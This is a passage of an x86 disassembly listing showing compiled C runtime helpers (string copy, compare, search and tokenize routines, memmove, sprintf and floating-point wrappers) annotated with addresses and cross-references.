		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
